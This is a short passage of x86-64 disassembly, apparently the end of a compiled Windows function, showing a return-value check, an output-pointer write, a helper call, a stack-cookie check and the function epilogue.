mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x14003933c
cmp qword [rbp + 0x1a0], 0
je 0x14003933c
mov rax, qword [rbp + 0x1a0]
mov ecx, dword [rbp + 0x94]
mov dword [rax], ecx
mov rax, qword [rbp + 0x78]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140053eb0]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret